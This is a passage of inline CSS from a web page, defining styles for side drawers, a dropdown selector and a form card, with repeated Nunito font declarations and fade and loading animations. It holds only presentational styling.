-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
transform: inherit;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.drawer-dashboard .drawer-dashboard__content .content__box {
width: 100%; }
.drawer-dashboard .drawer-dashboard__content .content__box .content__box__container {
justify-content: center;
width: 100%;
height: 64px;
display: none;
align-items: center;
cursor: pointer; }
@media (max-width: 727px) {
.drawer-dashboard .drawer-dashboard__content .content__box .content__box__container {
display: flex; } }
.drawer-dashboard .drawer-dashboard__content .content__box .content__box__container .container__icon {
display: none;
width: 56px;
height: 0px;
border: 4px solid #cbd4dc;
border-radius: 15px; }
@media (max-width: 727px) {
.drawer-dashboard .drawer-dashboard__content .content__box .content__box__container .container__icon {
display: block; } }
.drawer-dashboard .drawer-dashboard__content .content__box .content__box__container .container__close {
position: absolute;
right: 12px;
top: 12px; }
.drawer-dashboard .drawer-dashboard__content .content__box .content__close {
width: 34px;
height: 34px;
border-radius: 50%;
background-color: #ffffff;
position: fixed;
top: 15px;
right: 18px;
cursor: pointer;
display: flex;
justify-content: center;
align-items: center; }
@media (max-width: 727px) {
.drawer-dashboard .drawer-dashboard__content .content__box .content__close {
display: none; } }
.drawer-dashboard .drawer-dashboard__content .content__box .content__close img {
width: 34px;
height: 34px; }
@media (max-width: 727px) {
.drawer-dashboard .drawer-dashboard__content {
width: 100%;
height: 100%; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.drawer-legal {
position: fixed;
background-color: transparent;
width: 100%;
height: 100%;
display: flex;
justify-content: flex-end;
z-index: 1001;
top: 0;
left: 0;
opacity: 0;
visibility: hidden; }
.drawer-legal.drawer-legal--close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.drawer-legal.drawer-legal--open {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
opacity: 1;
visibility: visible; }
.drawer-legal .drawer-title-container {
display: flex;
align-items: center;
margin: 24px 16px; }
.drawer-legal .drawer-title-container .title-text {
font-family: Nunito-Bold;
font-size: 20px;
line-height: 31px;
color: #122e43; }
.drawer-legal .drawer-title-container .icon-close {
width: 24px;
height: 24px;
cursor: pointer;
display: flex;
margin: 0px 16px 0px 0px; }
.drawer-legal .drawer-title-container .icon-close .icon-img {
width: 24px;
height: 24px; }
.drawer-legal .button-container {
display: flex;
justify-content: center;
margin: 0px 28px; }
.drawer-legal .button-container .button {
font-size: 14px; }
.drawer-legal .button-container .button .button__content {
font-family: Nunito-SemiBold;
color: #122e43; }
@media (max-width: 720px) {
.drawer-legal .button-container {
margin: 0px 24px; } }
.drawer-legal .drawer-legal__content {
overflow: auto;
width: 375px;
height: 100%;
background-color: #ffffff;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-transform: translateX(100%);
-moz-transform: translateX(100%);
-ms-transform: translateX(100%);
-o-transform: translateX(100%);
transform: translateX(100%);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.drawer-legal .drawer-legal__content::-webkit-scrollbar {
width: 0; }
.drawer-legal .drawer-legal__content.content--open {
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transform: translateX(0);
-moz-transform: translateX(0);
-ms-transform: translateX(0);
-o-transform: translateX(0);
transform: translateX(0);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.drawer-legal .drawer-legal__content .content-box {
height: 100%;
margin: 26px 28px 0px;
overflow-y: scroll; }
@media (max-width: 720px) {
.drawer-legal .drawer-legal__content .content-box {
margin: 26px 24px 0px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.drawer--share--increase__content {
position: fixed;
background-color: transparent;
width: 100%;
height: 100%;
display: flex;
justify-content: flex-end;
z-index: 1000;
top: 0;
left: 0;
opacity: 0;
visibility: hidden; }
.drawer--share--increase__content.drawer--close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.drawer--share--increase__content.drawer--open {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
opacity: 1;
visibility: visible; }
.drawer--share--increase__content .drawer__content {
width: 375px;
height: 100%;
background-color: #ffffff;
-webkit-transition-timing-function: ease-in;
-moz-transition-timing-function: ease-in;
-ms-transition-timing-function: ease-in;
-o-transition-timing-function: ease-in;
transition-timing-function: ease-in;
-webkit-transform: translateX(100%);
-moz-transform: translateX(100%);
-ms-transform: translateX(100%);
-o-transform: translateX(100%);
transform: translateX(100%);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.drawer--share--increase__content .drawer__content::-webkit-scrollbar {
width: 0; }
.drawer--share--increase__content .drawer__content.content--open {
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transform: translateX(0);
-moz-transform: translateX(0);
-ms-transform: translateX(0);
-o-transform: translateX(0);
transform: translateX(0);
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.drawer--share--increase__content .drawer__content .content__close {
width: 34px;
height: 34px;
border-radius: 50%;
background-color: #ffffff;
position: absolute;
top: 15px;
right: 18px;
cursor: pointer;
display: flex;
justify-content: center;
align-items: center; }
.drawer--share--increase__content .drawer__content .content__close img {
width: 34px;
height: 34px; }
@media (max-width: 1023px) {
.drawer--share--increase__content .drawer__content {
width: 100%;
height: 100%; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.dropdown__contain {
position: relative;
margin-bottom: 25px; }
.dropdown__contain * {
box-sizing: border-box;
cursor: pointer; }
.dropdown__contain .dropdown__select-group {
position: relative;
display: flex;
align-items: center; }
.dropdown__contain .dropdown__select-group .dropdown__captions {
position: absolute;
top: 52px; }
.dropdown__contain .dropdown__select-group .dropdown__captions .dropdown__captions-grid {
display: flex;
align-items: center; }
.dropdown__contain .dropdown__select-group .dropdown__captions .dropdown__captions-grid .dropdown__captions-ico {
width: 16px;
height: 16px;
margin-right: 5px; }
.dropdown__contain .dropdown__select-group .dropdown__captions .dropdown__captions-grid .dropdown__captions-error, .dropdown__contain .dropdown__select-group .dropdown__captions .dropdown__captions-grid .dropdown__captions-success, .dropdown__contain .dropdown__select-group .dropdown__captions .dropdown__captions-grid .dropdown__captions-warning, .dropdown__contain .dropdown__select-group .dropdown__captions .dropdown__captions-grid .dropdown__captions-info {
font-family: NunitoSans-Regular;
font-size: 12px;
line-height: 16px; }
.dropdown__contain .dropdown__select-group .dropdown__captions .dropdown__captions-grid .dropdown__captions-error {
color: #ff4858; }
.dropdown__contain .dropdown__select-group .dropdown__captions .dropdown__captions-grid .dropdown__captions-success {
color: #04c532; }
.dropdown__contain .dropdown__select-group .dropdown__captions .dropdown__captions-grid .dropdown__captions-warning {
color: #feb638; }
.dropdown__contain .dropdown__select-group .dropdown__captions .dropdown__captions-grid .dropdown__captions-info {
color: #0169b5; }
.dropdown__contain .dropdown__select-group.dropdown__error .dropdown__select, .dropdown__contain .dropdown__select-group.dropdown__error .dropdown__input {
border-color: #ff4858 !important; }
.dropdown__contain .dropdown__select-group.dropdown__error .dropdown__title {
color: #ff4858 !important; }
.dropdown__contain .dropdown__select-group.dropdown__success .dropdown__select, .dropdown__contain .dropdown__select-group.dropdown__success .dropdown__input {
border-color: #04c532 !important; }
.dropdown__contain .dropdown__select-group.dropdown__success .dropdown__title {
color: #04c532 !important; }
.dropdown__contain .dropdown__select-group.dropdown__warning .dropdown__select, .dropdown__contain .dropdown__select-group.dropdown__warning .dropdown__input {
border-color: #feb638 !important; }
.dropdown__contain .dropdown__select-group.dropdown__warning .dropdown__title {
color: #feb638 !important; }
.dropdown__contain .dropdown__select-group.dropdown__info .dropdown__select, .dropdown__contain .dropdown__select-group.dropdown__info .dropdown__input {
border-color: #0169b5 !important; }
.dropdown__contain .dropdown__select-group.dropdown__info .dropdown__title {
color: #0169b5 !important; }
.dropdown__contain .dropdown__select-group.active .dropdown__select-ico {
background-image: url("https://staticresourcerfsc.blob.core.windows.net/dev/web/static/19783936073329378-chevron_bottom_active.svg"); }
.dropdown__contain .dropdown__select-group.active .dropdown__title {
-webkit-transform-origin: 0 0;
-moz-transform-origin: 0 0;
-ms-transform-origin: 0 0;
transform-origin: 0 0;
background-color: #ffffff;
-webkit-transform: translateY(-21px) scale(0.75);
-moz-transform: translateY(-21px) scale(0.75);
-ms-transform: translateY(-21px) scale(0.75);
-o-transform: translateY(-21px) scale(0.75);
transform: translateY(-21px) scale(0.75);
width: auto;
left: 10px; }
.dropdown__contain .dropdown__select-group.active .dropdown__input, .dropdown__contain .dropdown__select-group.active .dropdown__select {
color: #122e43;
text-transform: capitalize; }
.dropdown__contain .dropdown__select-group.active .dropdown__input::placeholder, .dropdown__contain .dropdown__select-group.active .dropdown__select::placeholder {
text-transform: none; }
.dropdown__contain .dropdown__select-group .dropdown__select-ico {
position: absolute;
right: 20px;
display: block;
width: 24px;
height: 100%;
background-image: url("https://staticresourcerfsc.blob.core.windows.net/dev/web/static/26258362026251847-chevron_bottom-3.svg");
background-repeat: no-repeat;
background-position: center center;
top: 0;
pointer-events: none; }
.dropdown__contain .dropdown__select-group .dropdown__title {
color: #788fa0;
font-size: 13px;
line-height: 18px;
font-family: NunitoSans-Regular;
position: absolute;
left: 8px;
padding: 0 8px;
width: 100%;
background-color: #ffffff;
width: fit-content;
-webkit-transform-origin: 0% 100%;
-moz-transform-origin: 0% 100%;
-ms-transform-origin: 0% 100%;
transform-origin: 0% 100%;
-webkit-transition-property: transform, color;
-moz-transition-property: transform, color;
-ms-transition-property: transform, color;
-o-transition-property: transform, color;
transition-property: transform, color;
-webkit-transition-duration: 0.2s;
-moz-transition-duration: 0.2s;
-ms-transition-duration: 0.2s;
-o-transition-duration: 0.2s;
transition-duration: 0.2s;
-webkit-transition-timing-function: ease-out;
-moz-transition-timing-function: ease-out;
-ms-transition-timing-function: ease-out;
-o-transition-timing-function: ease-out;
transition-timing-function: ease-out;
-webkit-transition-delay: 0s;
-moz-transition-delay: 0s;
-ms-transition-delay: 0s;
-o-transition-delay: 0s;
transition-delay: 0s;
pointer-events: none; }
.dropdown__contain .dropdown__select-group .dropdown__title.disabled {
cursor: no-drop;
background-color: transparent; }
@media (max-width: 991px) {
.dropdown__contain .dropdown__select-group .dropdown__input {
display: none; }
.dropdown__contain .dropdown__select-group .dropdown__title {
background-color: #ffffff;
width: 75%;
pointer-events: none; } }
@media (min-width: 992px) {
.dropdown__contain .dropdown__select-group .dropdown__select {
display: none; } }
.dropdown__contain .dropdown__select-group .dropdown__select {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background-color: #ffffff; }
.dropdown__contain .dropdown__select-group .dropdown__input, .dropdown__contain .dropdown__select-group .dropdown__select {
border: 1px solid #cbd4dc;
width: 100%;
padding: 0 15px;
height: 48px;
border-radius: 6px;
color: #788fa0;
font-size: 16px;
line-height: 22px;
font-family: NunitoSans-Bold;
outline: 0;
caret-color: transparent;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.dropdown__contain .dropdown__select-group .dropdown__input:focus, .dropdown__contain .dropdown__select-group .dropdown__select:focus {
color: #122e43; }
.dropdown__contain .dropdown__select-group .dropdown__input:focus + .dropdown__title, .dropdown__contain .dropdown__select-group .dropdown__select:focus + .dropdown__title {
-webkit-transform: translateY(-21px) scale(0.75);
-moz-transform: translateY(-21px) scale(0.75);
-ms-transform: translateY(-21px) scale(0.75);
-o-transform: translateY(-21px) scale(0.75);
transform: translateY(-21px) scale(0.75);
left: 10px; }
.dropdown__contain .dropdown__select-group .dropdown__input:disabled, .dropdown__contain .dropdown__select-group .dropdown__select:disabled {
cursor: no-drop;
border: 1px solid #cbd4dc; }
.dropdown__contain .dropdown__group-options {
background: #ffffff;
box-shadow: 0px 2px 8px rgba(40, 41, 61, 0.08), 0px 20px 32px rgba(96, 97, 112, 0.24);
-webkit-box-shadow: 0px 2px 8px rgba(40, 41, 61, 0.08), 0px 20px 32px rgba(96, 97, 112, 0.24);
-moz-box-shadow: 0px 2px 8px rgba(40, 41, 61, 0.08), 0px 20px 32px rgba(96, 97, 112, 0.24);
border-radius: 6px;
padding: 10px 0;
text-transform: capitalize;
overflow-y: scroll;
position: absolute;
width: 100%;
scrollbar-width: thin;
z-index: 10; }
.dropdown__contain .dropdown__group-options::-webkit-scrollbar {
width: 15px; }
.dropdown__contain .dropdown__group-options::-webkit-scrollbar-track {
background: transparent; }
.dropdown__contain .dropdown__group-options::-webkit-scrollbar-thumb {
border: 4px solid transparent;
border-right-width: 8px;
background-clip: padding-box;
background-color: #cbd4dc;
border-radius: 4px; }
.dropdown__contain .dropdown__group-options::-webkit-scrollbar-button {
width: 0;
height: 0;
display: none; }
.dropdown__contain .dropdown__group-options::-webkit-scrollbar-corner {
background-color: transparent; }
.dropdown__contain .dropdown__group-options.dropdown__group-close {
display: none; }
.dropdown__contain .dropdown__group-options.dropdown__group-open {
display: block; }
.dropdown__contain .dropdown__group-options .dropdown__options {
font-family: NunitoSans-Bold;
font-size: 12px;
line-height: 16px;
color: #122e43;
padding: 8px; }
.dropdown__contain .dropdown__group-options .dropdown__options:hover {
background-color: #f4f7fa; }
.dropdown__contain .dropdown__group-options .dropdown__options.active {
background-color: #f4f7fa; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.form-card {
width: 766px;
border-radius: 6px;
border: 1px solid #d4e3f2;
padding: 40px;
background: #ffffff;
box-sizing: border-box;
box-shadow: 0px 9px 40px rgba(152, 182, 204, 0.25);
position: relative; }
.form-card--information {
border-color: #d4e3f2; }
.form-card--success {
border-color: #04c532; }
.form-card--warning {
border-color: #feb638; }
.form-card--error {
border-color: #ff4858; }
.form-card .form--card__degrade {
position: absolute; }
.form-card .form--card__degrade.degrade--bottom {
width: 100%;
height: 6px;
bottom: 0;
left: 0;
background: linear-gradient(to left, #FD8300 25%, #F10001 50%, #F10092 75%, #056BB1 100%);
border-radius: 0 0 6px 6px; }
.form-card .form--card__degrade.degrade--top {
width: 100%;
height: 6px;
top: 0;
left: 0;
background: linear-gradient(to left, #FD8300 25%, #F10001 50%, #F10092 75%, #056BB1 100%);
border-radius: 6px 6px 0 0; }
.form-card .form--card__degrade.degrade--left {
width: 6px;
height: 100%;
top: 0;
left: 0;
background: linear-gradient(to top, #FD8300 25%, #F10001 50%, #F10092 75%, #056BB1 100%);
border-radius: 6px 0 0 6px; }
.form-card .form--card__degrade.degrade--right {
width: 6px;
height: 100%;
top: 0;
right: 0;
background: linear-gradient(to top, #FD8300 25%, #F10001 50%, #F10092 75%, #056BB1 100%);
border-radius: 0 6px 6px 0; }
@media (max-width: 727px) {
.form-card {
width: 100%;
padding: 16px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
